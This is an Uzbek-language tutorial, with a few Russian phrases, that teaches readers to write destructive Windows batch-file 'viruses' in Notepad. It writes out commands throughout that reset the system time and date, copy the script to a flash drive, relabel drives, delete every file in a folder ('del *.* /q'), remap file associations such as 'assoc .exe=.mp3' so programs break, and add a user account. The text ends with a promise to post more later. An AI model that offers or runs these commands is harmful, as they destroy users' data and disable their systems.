Siz virus yozmoqchimisiz? Men sizga darrov aytishim mumkin. Hozir qilmoqchi bo`layotgan viruslarimiz kompyuterga qattiq ziyon yetkazishi mumkin, lekin ular kompyuterdan kompyuterga o`tisha olmaydi. Avvaldan ogohlantiraman agar kompyuteringizdan ma`lumotlaringiz o`chib ketadigan bo`lsa bunga men aybdor emasman. Unda boshladik:
1) Bloknotni ochamiz; 2)U yerga mspaint deb yozamiz; 3) Faylni hohlagan nom bilan saqlaymiz. Lekin .txt kengaytmasi o`rniga .bat kengaytmasini yozamiz. 4) Saqlagan faylimizni ochsak u bizga Paint dasturini ochib beradi. Mana bizni birinchi dasturchamiz tayyor bo`ldi. mspaint o`rniga hohlagan programma yozsak bo`ladi. Misol calc-kalkulyator, Taskmgr-Dispetcher zadach. Endi qiladigan ishimiz bu kompyuterni vaqtini o`zgartiramiz va virusni fleshkaga tashlaymiz.
time 00:00 copy %0 F:\Work.bat
Birinchi qatorda biz vaqtni kechki 00:00 ga o`zgartirayapmiz. Ikkinchi qatorda esa f:--fleshkaga virusni nusxasii ko`chirayapmiz. Bloknotda yozilgan narsani .bat kengaytmasida saqlashni esdan chiqarmang. Vaqtni o`rniga kunni ham o`zgartirishimiz mumkin. Misol
Date 13.06.23
Bu qator vaqtni 2023 yilga o`zgartirayapti.
Endi bloknot virusi orqali yani .bat virusi orqali yana nimalar qilish mumkinligini ko`rib chiqaylik.
1) «copy %0 x:\y» - virusni x: diskdagi y nomli papkaga ko`chiradi. (misol copy %0 C:\System.bat); 2) «label x:y» - x diskni yonidagi yozuvni y nomiga o`zgartiradi (misol label C:error); 3) «time х:у» - vaqtni x-soat, y-minunt ga o`zgartiradi (misol time 14:27); 4) «date x.y.z» - vaqtni o`zgartiradi на x kun, y oy, z yil (misol date 16.11.05); 5) «md х» - ishlayotgan virusimiz qayerda bo`lsa o`sha yerda papka xosil bo`ladi, х nomi bilan (misol md Papka); Bu yerda md, m->make so`zi, d->direction dan olingan. 6) «del *.* /q» - удалит все файлы (наш вирус тоже) в папке, где лежит наш вирус (кроме папок); 7) «del x:\y *.* /q» - x diskdagi y papkadagi fayllarni o`chirish (misol del F:\Data*.* /q); 8) «assoc .х=.у» - kompyuterdagi barcha .x kengaytmali fayllarni .y kengaytmaga o`giradi (misol assoc .exe=.mp3); 9) «net user "х" /add» - kompyuterga x omli foydalanuvchini kiritadi (misol net user "xzafar" /add);
Qolganini ertaga yozaman.
|